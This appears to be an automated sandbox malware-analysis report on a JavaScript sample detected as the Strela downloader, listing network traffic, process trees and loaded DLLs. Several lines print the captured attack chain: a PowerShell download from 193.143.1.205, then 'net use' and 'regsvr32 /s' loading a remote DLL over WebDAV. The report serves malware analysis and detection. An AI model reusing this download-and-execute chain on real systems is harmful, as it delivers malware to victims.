TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:57166 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1425164510.0000021B2705C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1508978272.0000020157F1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510577623.0000020157F51000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510243594.0000020157EF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1508978272.0000020157F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510385237.0000020157F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510385237.0000020157F1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1506582702.0000020157F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1510243594.0000020157EF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000003.1508978272.0000020157F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510385237.0000020157F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/u/kk
Source: svchost.exe, 00000009.00000002.2712116817.000001E7B4A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1506928447.000001E7B47B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7416, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 248185965269371196.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7524:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivy05gyb.njk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1604,i,10969523557730200504,3880129865474238666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1604,i,10969523557730200504,3880129865474238666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
